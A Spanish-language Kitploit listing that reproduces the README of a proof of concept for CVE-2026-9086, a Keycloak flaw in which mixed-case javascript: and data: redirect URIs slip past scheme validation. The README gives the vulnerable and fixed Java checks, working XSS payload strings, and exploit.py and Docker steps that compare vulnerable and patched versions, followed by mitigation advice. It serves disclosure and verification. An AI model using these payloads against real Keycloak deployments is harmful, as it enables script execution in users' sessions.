Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-9086-poc — Prueba de concepto de CVE-2026-9086 para la evasión de la validación de URI de cliente de Keycloak mediante payloads XSS javascript: y data: con mayúsculas y minúsculas mixtas, con verificación basada en Docker de las versiones vulnerables y corregidas. | Kitploit
Herramientas/GitHubGitHub/saku0512/cve-2026-9086-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

Prueba de concepto de CVE-2026-9086 para la evasión de la validación de URI de cliente de Keycloak mediante payloads XSS javascript: y data: con mayúsculas y minúsculas mixtas, con verificación basada en Docker de las versiones vulnerables y corregidas.

Ver Repositorio
1hace 10 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9086: PoC de XSS por omisión de validación de esquema de URI en Keycloak

Versión en inglés

Resumen

Este repositorio es una prueba de concepto (PoC) de la vulnerabilidad de Cross-Site Scripting (XSS) CVE-2026-9086 en la validación de URI de cliente de Keycloak.

Keycloak vulnerable validaba los esquemas javascript: y data: de los URI configurados en el cliente distinguiendo entre mayúsculas y minúsculas. Por lo tanto, mediante notación mixta como jaVaSCript: o DaTa: es posible evadir la validación de esquemas prohibidos. Dado que el navegador interpreta los esquemas de URI sin distinguir mayúsculas de minúsculas, si la víctima hace clic en un enlace manipulado, JavaScript podría ejecutarse en el origen de Keycloak.

Esta PoC inicia Keycloak 26.6.3 (versión vulnerable) y 26.6.4 (versión corregida) con Docker, y registra el mismo URI de notación mixta a través de la API REST de administración. Comprueba que en la versión vulnerable el registro se realiza correctamente y en la corregida se rechaza con HTTP 400.

Esta PoC no abre el URI registrado en el navegador ni ejecuta JavaScript.


Descargo de responsabilidad

Este proyecto tiene fines exclusivamente educativos y de verificación de seguridad autorizada. No lo utilice para realizar verificación no autorizada en entornos Keycloak de terceros. El autor no asume ninguna responsabilidad por el mal uso, los daños o las actividades ilegales derivadas de esta herramienta.


Detalles de la vulnerabilidad

  • CVE ID: CVE-2026-9086
  • Producto: Keycloak / Red Hat build of Keycloak
  • Tipo: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Permisos necesarios: permiso manage-client o acceso al endpoint de registro de clientes
  • Interacción del usuario: se requiere hacer clic en un enlace manipulado
  • Versión objetivo de la PoC: Keycloak 26.6.3
  • Versión corregida de la PoC: Keycloak 26.6.4
  • Alcance (CPE de NVD): Red Hat build of Keycloak desde 26.4 hasta antes de 26.4.13, desde 26.6 hasta antes de 26.6.4

Causa raíz

Antes de la corrección, DefaultClientValidationProvider comparaba los esquemas prohibidos con String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

java.net.URI#getScheme() conserva las mayúsculas y minúsculas de la entrada, por lo que los siguientes URI no coinciden con la comparación y pasan la validación.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

La versión corregida utiliza equalsIgnoreCase().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Prueba de concepto (uso)

1. Inicio del entorno

Inicie la versión vulnerable y la corregida con Docker Compose.

root@kitploit:~
docker compose up -d

Objetivos de inicio:

URLVersiónResultado esperado
http://localhost:8180Keycloak 26.6.3Registro de URI correcto (vulnerable)
http://localhost:8181Keycloak 26.6.4HTTP 400 (corregido)

El primer inicio puede tardar un poco. Puede comprobar el estado con el siguiente comando.

root@kitploit:~
docker compose logs -f

Cuando aparezca Listening on en ambos registros, finalice la visualización de los registros con Ctrl+C.

2. Verificación de la versión vulnerable

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Salida esperada:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

El script vuelve a obtener el cliente creado desde la API de administración y también comprueba que el URI manipulado se haya guardado.

3. Verificación de la versión corregida

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Salida esperada:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Verificación del esquema data:

Al especificar --scheme data, puede verificar el URI DaTa: de notación mixta.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Limpieza

root@kitploit:~
docker compose down -v

Comportamiento de la PoC

exploit.py solo realiza los siguientes pasos.

  1. Obtener un token de acceso de administrador usando admin-cli
  2. Generar un ID de cliente aleatorio
  3. Establecer el URI jaVaSCript: o DaTa: de notación mixta en redirectUris
  4. Enviar la solicitud de creación del cliente a /admin/realms/master/clients
  5. En la versión vulnerable, volver a obtener el cliente guardado y verificar el URI
  6. En la versión corregida, verificar el HTTP 400 y el error de esquema prohibido

No se inicia el navegador, no se navega al URI registrado ni se ejecuta JavaScript.

Mitigación

Actualice Keycloak 26.6 a 26.6.4 o posterior y Red Hat build of Keycloak 26.4 a 26.4.13 o posterior.

Además, audite la configuración de URI de los clientes existentes y elimine cualquier valor que utilice javascript: o data: independientemente de las mayúsculas y minúsculas. Restrinja también el permiso manage-client y el acceso al endpoint de registro de clientes al mínimo necesario.

Referencias

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Descargar herramienta